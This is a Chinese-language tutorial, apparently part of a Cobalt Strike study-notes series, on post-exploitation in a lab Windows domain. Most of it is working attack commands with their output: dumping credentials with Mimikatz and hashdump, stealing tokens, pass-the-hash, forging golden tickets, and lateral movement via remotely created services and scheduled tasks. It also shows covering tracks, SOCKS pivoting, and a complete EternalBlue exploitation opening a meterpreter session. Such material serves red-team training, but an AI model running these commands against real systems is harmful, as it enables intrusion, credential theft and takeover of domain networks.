PowerView 使用下面的命令能够在一个主机上找到本地管理员,这条命令实际上通过管理员群组找到同样的群组并且把成员名单返回出来。

1
Get-Netlocalgroup -hostname TARGET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
beacon> powershell Get-Netlocalgroup -Hostname WinDC
[*] Tasked beacon to run: Get-Netlocalgroup -Hostname WinDC
[+] host called home, sent: 385 bytes
[+] received output:

ComputerName : WinDC
AccountName : teamssix.com/Administrator
IsDomain : True
IsGroup : False
SID : S-1-5-22-3301978333-983314215-684642015-500
Description :
Disabled :
LastLogin : 2020/8/17 22:21:23
PwdLastSet :
PwdExpired :
UserFlags :

ComputerName : WinDC
AccountName : teamssix.com/Daniel
……内容过多,余下部分省略……
无需恶意软件

如果一个系统信任我们为本地管理员权限,那么我们可以在那个系统上干什么呢?

查看共享文件

比如我们可以通过运行下面的命令来列出 C:\foo 的共享文件

1
shell dir \\host\C$\foo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
beacon> shell dir \\WinDC\C$
[*] Tasked beacon to run: dir \\WinDC\C$
[+] host called home, sent: 55 bytes
[+] received output:
驱动器 \\WinDC\C$ 中的卷没有标签。
卷的序列号是 F269-89A7
\\WinDC\C$ 的目录
2020/06/24 09:29 <DIR> inetpub
2009/07/14 11:20 <DIR> PerfLogs
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows
0 个文件 0 字节
6 个目录 28,500,393,984 可用字节

复制文件

比如运行下面的命令将 secrets.txt文件复制到当前目录。

1
shell copy \\host\C$\foo\secrets.txt
1
2
3
4
5
beacon> shell copy \\WinDC\C$\foo\secrets.txt
[*] Tasked beacon to run: copy \\WinDC\C$\foo\secrets.txt
[+] host called home, sent: 93 bytes
[+] received output:
已复制 1 个文件。

查看文件列表

比如运行下面的命令。其中 /S 表示列出指定目录及子目录所有文件,/B 表示使用空格式,即没有标题或摘要信息。

1
shell dir /S /B \\host\C$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
beacon> shell dir /S /B \\WinDC\C$\Users
[*] Tasked beacon to run: dir /S /B \\WinDC\C$\Users
[+] host called home, sent: 67 bytes
[+] received output:
\\WinDC\C$\Users\administrator
\\WinDC\C$\Users\Classic .NET AppPool
\\WinDC\C$\Users\Daniel
\\WinDC\C$\Users\Public
\\WinDC\C$\Users\administrator\Contacts
\\WinDC\C$\Users\administrator\Desktop
\\WinDC\C$\Users\administrator\Documents
\\WinDC\C$\Users\administrator\Downloads
\\WinDC\C$\Users\administrator\Favorites
……内容过多,余下部分省略……

使用 WinRM 运行命令

WinRM 运行在 5985 端口上,WinRM 是 Windows 远程管服务,使用 WinRM 可以使远程管理更容易一些。

如果想利用 WinRM 运行命令则可以使用下面的命令。

1
powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here}
1
2
3
4
5
6
7
8
9
10
11
12
13
beacon> powershell Invoke-Command -ComputerName WinDC -ScriptBlock { net localgroup administrators}
[*] Tasked beacon to run: Invoke-Command -ComputerName WinDC -ScriptBlock { net localgroup administrators}
[+] host called home, sent: 303 bytes
[+] received output:
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
Domain Admins
Daniel
Enterprise Admins
命令成功完成。

注:如果命令运行失败可能是因为 WinRM 配置原因,可在 powershell 环境下运行 winrm quickconfig命令,输入 y 回车即可

命令运行后的结果,WinRM 也将通过命令行进行显示,因此可以使用 Powershell 的 Invoke 命令来作为远程工具,而不使用其他的恶意软件来控制系统。

通过 WinRM 运行 Mimikatz

更进一步,甚至可以使用 PowerSploit 来通过 WinRM 运行 Mimikatz,只需要先导入 Invoke-Mimikatz.ps1 文件,再执行以下命令即可

1
2
powershell-import /path/to/Invoke-Mimikatz.ps1
powershell Invoke-Mimikatz -ComputerName TARGET

注:之前提了很多次的 PowerView 也是 PowerSploit 项目里众多 ps1 文件之一,Mimikatz 的 ps1 文件在 PowerSploit 项目的 Exfiltration 目录下,PowerSploit 项目下载地址:https://github.com/PowerShellMafia/PowerSploit/(opens new window)

因为 beacon 上传文件大小限制在1MB,而 Invoke-Mimikatz.ps1 文件大小在 2 MB 多,因此直接运行 powershell-import 导入该文件会报错,这里可以选择使用 beacon 中的 upload 命令或者在当前会话的 File Browser 图形界面中上传该文件。

1
upload C:\path\Invoke-Mimikatz.ps1

上传之后通过 dir 命令可以查看到文件被上传到了C盘下,之后可以运行以下命令来导入该文件。

1
powershell import-module C:\Invoke-Mimikatz.ps1

最后再运行以下命令就能通过 WinRM 执行 Mimikatz 了

1
powershell Invoke-Mimikatz -ComputerName TARGET

如果提示无法将“Invoke-Mimikatz”项识别为 cmdlet、函数……,则可以将两条命令以分号合并在一起运行,即:

1
powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName TARGET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
beacon> powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName WinDC
[*] Tasked beacon to run: import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName WinDC
[+] host called home, sent: 287 bytes
[+] received output:

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 314628 (00000000:0004cd04)
Session : Interactive from 1
User Name : administrator
Domain : TEAMSSIX
Logon Server : WinDC
Logon Time : 2020/8/20 23:53:08
SID : S-1-5-22-3301978333-983314215-684642015-500
msv :
[00000003] Primary
* Username : Administrator
……内容过多,余下部分省略……
获取信任

如果当前账号权限被系统认为是本地管理员权限,那么就可以执行很多管理员才能做的事,接下来就来看一下这样的一个过程是如何工作的,其中会涉及到以下要点:

1、Access Token 登录令牌

2、Credentials 凭证

3、Password Hashes 密码哈希

4、Kerberos Tickets 登录凭据

登录令牌

  • 登录令牌在登录之后被创建
  • 与每个进程和线程相关联
  • 包括:
    • 用户和用户组的信息
    • 本地计算机上的特权列表
    • 限制(删除用户和用户组的权限)
    • 参考凭证(支持单点登录)
  • 一直保存在内存中,直到系统重启

以下是令牌窃取的过程:

  • 使用 ps 列出进程
  • 使用 steal_token [pid] 窃取令牌
  • 使用 getuid 找到你是谁
  • 使用 rev2self 移除令牌

接下来将对这些命令进行演示,目前有一个 SYSTEM 权限的会话,该会话在 WIN-72A8ERDSF2P 主机下,此时想查看 WIN-P2AASSD1AF1 主机下的文件(WIN-P2AASSD1AF1 主机是 TEAMSSIX 域的域控制器),那么直接运行 dir 会提示拒绝访问。

1
2
3
4
5
beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。

此时,先用 ps 查看一下当前系统进程信息。

1
2
3
4
5
6
7
8
9
10
11
beacon> ps
[*] Tasked beacon to list processes
[+] host called home, sent: 12 bytes
[*] Process List
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
0 0 [System Process]
4 0 System x64 0 NT AUTHORITY\SYSTEM
……内容太多,此处省略……
3720 524 taskhost.exe x64 2 WIN-72A8ERDSF2P\Administrator
4092 236 dwm.exe x64 3 TEAMSSIX\Administrator

通过进程信息可以发现 TEAMSSIX 域下的管理员账户此时在当前 SYSTEM 会话的主机上是登录着的,使用 steal_token [pid] 命令窃取 TEAMSSIX\Administrator 账户的令牌

1
2
3
4
beacon> steal_token 4092
[*] Tasked beacon to steal token from PID 4092
[+] host called home, sent: 12 bytes
[+] Impersonated TEAMSSIX\administrator

查看一下当前会话 uid

1
2
3
4
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are TEAMSSIX\administrator (admin)

再次尝试获取域控制器主机下的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
驱动器 \\WIN-P2AASSD1AF1\C$ 中的卷没有标签。
卷的序列号是 F269-89A7
\\WIN-P2AASSD1AF1\C$ 的目录
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows
0 个文件 0 字节
4 个目录 28,493,299,712 可用字节

发现可以成功访问了,使用 rev2self 可移除当前窃取的令牌

1
2
3
beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes

再次查看 uid 发现变成了原来的 SYSTEM 权限,此时 WIN-P2AASSD1AF1 主机上的文件也拒绝访问了。

1
2
3
4
5
6
7
8
9
10
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。

凭证

1、使用 make_token 创建一个令牌

1
make_token DOMAIN\user password

在运行命令之前,需要知道要获取令牌用户的密码,这里可以使用 mimikatz 进行获取,具体的方法可参考《CS学习笔记 | 14、powerup提权的方法》这一节中的介绍

这里还是和上文一样的环境,在一个 SYSTEM 会话下,获取 TEAMSSIX\administrator 账号令牌,使用 mimikatz 可以得知 TEAMSSIX\administrator 账号密码为 Test111!,接下来使用 make_token 命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
beacon> make_token TEAMSSIX\administrator Test111!
[*] Tasked beacon to create a token for TEAMSSIX\administrator
[+] host called home, sent: 53 bytes
[+] Impersonated NT AUTHORITY\SYSTEM

beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
驱动器 \\WIN-P2AASSD1AF1\C$ 中的卷没有标签。
卷的序列号是 F269-89A7
\\WIN-P2AASSD1AF1\C$ 的目录
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows
0 个文件 0 字节
4 个目录 28,493,299,712 可用字节

beacon> powershell Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssix\administrator

当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的 SYSTEM 权限。

2、使用 spawn beacon 替代凭证

1
spawnas DOMAIN\user password

3、在目标上建立账户

1
net use \\host\C$/USER:DOMAIN\user password

这两种方法,在之前的笔记中都或多或少的提及过,这里不再过多赘述。

密码哈希

使用 mimikatz 获取密码哈希

1
pth DOMAIN\user ntlmhash

如何工作的?

1、mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值

2、cobalt strike 自动的从那个进程中窃取令牌并关闭

首先使用 hashdump 获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限。

1
2
3
4
5
6
7
8
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Daniel:1000:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
TeamsSix:1002:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::

使用 pth 获取信任

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
beacon> pth TEAMSSIX\Administrator 12cb161bvca930994x00cbc0aczf06d1
[+] host called home, sent: 23 bytes
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /ntlm:12cb161bvca930994x00cbc0aczf06d1 /run:"%COMSPEC% /c echo ade660d8dce > \\.\pipe\8d3e4c" command
[+] host called home, sent: 750600 bytes
[+] host called home, sent: 71 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user : Administrator
domain : TEAMSSIX
program : C:\Windows\system32\cmd.exe /c echo ade660d8dce > \\.\pipe\8d3e4c
impers. : no
NTLM : 12cb161bvca930994x00cbc0aczf06d1
| PID 2992
| TID 5028
| LSA Process is now R/W
| LUID 0 ; 14812112 (00000000:00e203d0)
\_ msv1_0 - data copy @ 0000000001794E80 : OK !
\_ kerberos - data copy @ 000000000044A188
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000000017DA1E8 (16) -> null

beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssix\administrator
Kerberos 票据

关于 Kerberos 的介绍: https://www.zhihu.com/question/22177404

查看有哪些 Kerberos 票据

1
shell klist

除去 kerberos 票据

1
kerberos_ticket_purge

加载 kerberos 票据

1
kerberos_ticket_use [/path/to/file.ticket]
黄金票据

黄金票据 Golden Ticket 是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动。

使用 mimikatz 伪造黄金票据需要:

1、目标的用户名及域名

2、域的 SID 值

域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字。

1
2
3
4
5
6
7
8
9
beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:
用户信息
----------------
用户名 SID
============= ============================================
teamssix\daniel S-1-5-21-5311978431-183514165-284342044-1000

因为不需要 SID 最后一组数字,所以这里要使用的 SID 也就是 S-1-5-21-5311978431-183514165-284342044

3、DC 中 KRBTGT 用户的 NTLM 哈希

DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行

1
2
3
4
5
6
7
8
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::
daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::

Cobalt Strike 在 Access -> Golden Ticket 中可以打开生成黄金票据的界面

信息填完之后,选择 Build,需要注意 Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于 teamssix.com 的格式

此时可以通过 shell dir \\host\C$ 检查自己是否有权限,也可以使用 PowerShell 运行 whoami 查看自己是谁。

1
2
3
4
5
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 203 bytes
[+] received output:
teamssix\administrator
远程代码执行

实现代码执行的四个步骤:

1、与目标建立信任关系

2、复制可执行文件到目标上

3、在目标上运行可执行文件

4、实现对目标的控制

个人感觉其实这一节叫横向移动的方法更为合适

创建可执行文件

创建可执行文件可以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s) 处进行创建

如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的

上传可执行文件

首先使用 Cobalt Strike 上的 upload 功能上传文件,接着复制文件到目标主机的其他位置。

1
shell copy file.exe \\host\C$\Windows\Temp
1
2
3
4
5
6
7
8
9
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytes

beacon> shell copy beacon.exe \\WinTest\C$\Windows\Temp
[*] Tasked beacon to run: copy beacon.exe \\WinTest\C$\Windows\Temp
[+] host called home, sent: 72 bytes
[+] received output:
已复制1 个文件。

执行文件(方法一)

1、生成 Windows Service EXE 并上传

2、在目标主机上创建一个服务

1
shell sc \\host create name binpath= c:\windows\temp\file.exe
1
2
3
4
5
beacon> shell sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[*] Tasked beacon to run: sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[+] host called home, sent: 93 bytes
[+] received output:
[SC] CreateService 成功

注:记住 binpath 路径

3、在目标主机上启动服务

1
shell sc \\host start name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
beacon> shell sc \\wintest start beacon
[*] Tasked beacon to run: sc \\wintest start beacon
[+] host called home, sent: 56 bytes
[+] received output:
SERVICE_NAME: beacon
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3816
FLAGS :

beacon> link wintest
[*] Tasked to link to \\wintest\pipe\msagent_da00
[+] host called home, sent: 36 bytes
[+] established link to child beacon: 192.168.175.130

4、清除痕迹与服务

1
shell sc \\host delete name
1
2
3
4
5
6
7
8
9
10
11
12
13
beacon> shell del beacon.exe
[*] Tasked beacon to run: del beacon.exe
[+] host called home, sent: 57 bytes

beacon> shell del \\wintest\C$\windows\temp\beacon.exe
[*] Tasked beacon to run: del \\wintest\C$\windows\temp\beacon.exe
[+] host called home, sent: 83 bytes

beacon> shell sc \\wintest delete beacon
[*] Tasked beacon to run: sc \\wintest delete beacon
[+] host called home, sent: 69 bytes
[+] received output:
[SC] DeleteService 成功

执行文件(方法二)

1、生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一生成的 EXE 是不一样的类型,这里生成的是Windows EXE,不是方法一中的Windows Service EXE

2、找到目标系统上的时间

1
shell net time \\host
1
2
3
4
5
6
beacon> shell net time \\windc
[*] Tasked beacon to run: net time \\windc
[+] host called home, sent: 49 bytes
[+] received output:
\\windc 的当前时间是 2020/8/30 14:54:09
命令成功完成。

3、创建一个计划任务

1
shell at \\host HH:mm C:\path\to\bad.exe
1
2
3
4
5
beacon> shell at \\windc 15:00 C:\windows\temp\beacon.exe
[*] Tasked beacon to run: at \\windc 15:00 C:\windows\temp\beacon.exe
[+] host called home, sent: 76 bytes
[+] received output:
新加了一项作业,其作业 ID = 1

4、当计划任务被执行时,执行 link hostname 即可上线主机

1
2
3
4
beacon> link windc
[*] Tasked to link to \\windc\pipe\msagent_d76a
[+] host called home, sent: 34 bytes
[+] established link to child beacon: 192.168.175.144

beacon 的自动操作

前面说的两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用 beacon 的自动操作。

  • 使用一个服务运行可执行文件
1
psexec [target] [share] [listener]
  • 使用一个服务运行 Powershell 单行程序
1
psexec_psh [target] [listener]
  • 通过 WinRM 运行 Powershell 单行程序
1
winrm [target] [listener]
  • 通过 WMI 运行 Powershell 单行程序
1
wmi [target] [listener]

在 Cobalt Strike 的 viwe --> Targets 下,右击主机选择 Jump 也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单。

接下来进行一下演示,目前手中有一个普通机器的管理员会话,我们先在这台机器上运行 net view 查看一下当前域环境中的主机信息。

1
2
3
4
5
6
7
8
9
10
beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes
[+] received output:
List of hosts:
[+] received output:
Server Name IP Address Platform Version Type Comment
----------- ---------- -------- ------- ---- -------
WINDC 192.168.175.144 500 6.1 PDC
WINTEST 192.168.175.130 500 6.1

因为是自己本地搭建的测试环境,所以主机很少,可以看到当前域中有两台机器,再利用 PowerView 查找一下具有本地管理员访问权限的用户

1
2
3
4
5
6
7
8
9
beacon> powershell-import PowerView.ps1
[*] Tasked beacon to import: PowerView.ps1
[+] host called home, sent: 101224 bytes

beacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WinDC.teamssix.com

接下来在 WinDC 上运行 psexec,因为这里是 64 位的,所以选择 psexec64,之后监听选择一个 smb beacon,会话就选择已经上线的 wintest 主机的会话,并勾选使用当前会话的访问令牌

应该是因为当前在 wintest 主机上有 windc 的管理员账户登录着,所以使用 wintest 的访问令牌是可以获取 windc 的信任的

之后,windc 主机就上线了,域中如果还有其他主机,也可以使用这种方法去横向移动

转发
1、SOCKS 代理转发

在进行转发操作之前,需要将当前会话改为交互模式,也就是说输入命令就被执行,执行 sleep 0 即为交互模式

Socks

  • 在当前 beacon 上可以右击选择 Pivoting --> SOCKS Server 设置一个 Socks4a 代理服务
  • 或者使用命令 socks [port] 进行设置
  • 使用命令 socks stop 关闭 Socks 代理服务
  • View --> Proxy Pivots 中可以看到已经创建的代理服务

Metasploit 连接到 Socks 代理服务

  • CS 中创建好代理后,在 Metasploit 中可以运行以下命令通过 beacon 的 Socks 代理进行通信
1
2
setg Proxies socks4:127.0.0.1:[port]
setg ReverseAllowProxy true

如果感觉上面命令比较长,还可以在 Proxy Pivots 界面中点击 Tunnel 按钮查看命令。

  • 运行以下命令来停止
1
unsetg Proxies

setg 命令和 unsetg 表示在 metasploit 中全局有效,不用在每次选择模块后再重新设置。

演示

1、环境说明

攻击机 IP:192.168.175.200

上线主机:外部IP 192.168.175.130、内部IP 192.168.232.133

攻击目标:192.168.232.0/24 地址段

当前已经上线了一个 IP 为 192.168.175.130 主机,通过 ipconfig 发现,该主机也在 192.168.232.0/24 地址段内,但当前攻击机无法访问 232 的地址段,因此如果想对 232 段内的主机发起攻击,就可以采用将 192.168.175.130 作为跳板机访问的方式

2、设置 socks 代理

开启交互模式 sleep 0

1
2
3
beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes

开启 socks 代理 socks 9527

1
2
3
beacon> socks 9527
[+] started SOCKS4a server on: 9527
[+] host called home, sent: 16 bytes

以上操作也可以通过图形化的方式进行。

3、Metasploit 中进行设置

开启 Metasploit 后,运行 setg 命令 setg Proxies socks4:192.168.175.200:9527

1
2
msf5 > setg Proxies socks4:192.168.175.200:9527
Proxies => socks4:192.168.175.200:9527

4、扫描 192.168.232.0/24 地址段中的 445 端口

这里作为演示,只扫描一下 445 端口

1
2
3
4
use auxiliary/scanner/smb/smb_version
set rhost 192.168.232.0/24
set threads 64
exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
msf5 > use auxiliary/scanner/smb/smb_version 

msf5 auxiliary(scanner/smb/smb_version) > set rhost 192.168.232.0/24
rhost => 192.168.232.0/24

msf5 auxiliary(scanner/smb/smb_version) > set threads 64
threads => 64

msf5 auxiliary(scanner/smb/smb_version) > exploit
use auxiliary/scanner/smb/smb_version
[*] 192.168.232.0/24:445 - Scanned 44 of 256 hosts (17% complete)
[*] 192.168.232.0/24:445 - Scanned 64 of 256 hosts (25% complete)
[*] 192.168.232.0/24:445 - Scanned 110 of 256 hosts (42% complete)
[*] 192.168.232.0/24:445 - Scanned 111 of 256 hosts (43% complete)
[*] 192.168.232.0/24:445 - Scanned 128 of 256 hosts (50% complete)
[+] 192.168.232.133:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WINTEST) (domain:TEAMSSIX) (signatures:optional)
[+] 192.168.232.132:445 - Host is running Windows 2008 HPC SP1 (build:7601) (name:WINDC) (domain:TEAMSSIX) (signatures:required)
[*] 192.168.232.0/24:445 - Scanned 165 of 256 hosts (64% complete)
[*] 192.168.232.0/24:445 - Scanned 184 of 256 hosts (71% complete)
[*] 192.168.232.0/24:445 - Scanned 220 of 256 hosts (85% complete)
[*] 192.168.232.0/24:445 - Scanned 249 of 256 hosts (97% complete)
[*] 192.168.232.0/24:445 - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

5、发现利用

通过扫描发现在 192.168.232.0/24 地址段内,除了已经上线的 133 主机外,还有 132 主机也开放了 445 端口,且该主机为 Windows 2008 的操作系统,这里使用永恒之蓝作为演示。

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.232.132
set payload windows/x64/meterpreter/bind_tcp
exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
msf5 > use exploit/windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.232.132
rhosts => 192.168.232.132

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] 192.168.232.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.232.132:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 HPC Edition 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.232.132:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.232.132:445 - Connecting to target for exploitation.
[+] 192.168.232.132:445 - Connection established for exploitation.
[+] 192.168.232.132:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.232.132:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.232.132:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.232.132:445 - 0x00000010 30 30 38 20 48 50 43 20 45 64 69 74 69 6f 6e 20 008 HPC Edition
[*] 192.168.232.132:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 192.168.232.132:445 - 0x00000030 6b 20 31 k 1
[+] 192.168.232.132:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.232.132:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.232.132:445 - Sending all but last fragment of exploit packet
[*] 192.168.232.132:445 - Starting non-paged pool grooming
[+] 192.168.232.132:445 - Sending SMBv2 buffers
[+] 192.168.232.132:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.232.132:445 - Sending final SMBv2 buffers.
[*] 192.168.232.132:445 - Sending last fragment of exploit packet!
[*] 192.168.232.132:445 - Receiving response from exploit packet
[+] 192.168.232.132:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.232.132:445 - Sending egg to corrupted connection.
[*] 192.168.232.132:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.232.132:4444
[*] Sending stage (201283 bytes) to 192.168.232.132
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.175.200:9527) at 2020-09-01 22:13:57 -0400
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > ipconfig
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:d3:6c:3d
MTU : 1500
IPv4 Address : 192.168.232.132
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a1ac:3035:cbdf:4872
IPv6 Netmask : ffff:ffff:ffff:ffff::

使用 ProxyChains 进行代理转发

使用 ProxyChains 可以使我们为没有代理配置功能的软件强制使用代理

  1. 和上一节中介绍的一致,开启一个 socks 代理服务
  2. 配置 /etc/proxychains.conf 文件
  3. 运行 proxychains + 待执行命令

接下来继续上一节中的演示环境:

攻击机 IP:192.168.175.200

上线主机:外部IP 192.168.175.130、内部IP 192.168.232.133

攻击目标:192.168.232.0/24 地址段

1、设置 socks 代理

首先开启交互模式,之后开启 socks 代理

1
2
sleep 0
socks 9527
1
2
3
4
5
6
beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon> socks 9527
[+] host called home, sent: 16 bytes
[+] started SOCKS4a server on: 9527

2、配置 ProxyChains

在攻击机上,配置 /etc/proxychains.conf 文件的最后一行,根据当前攻击主机 IP 与设置的 Socks 端口,修改如下:

1
socks4 192.168.175.200 9527

3、开始使用 ProxyChains

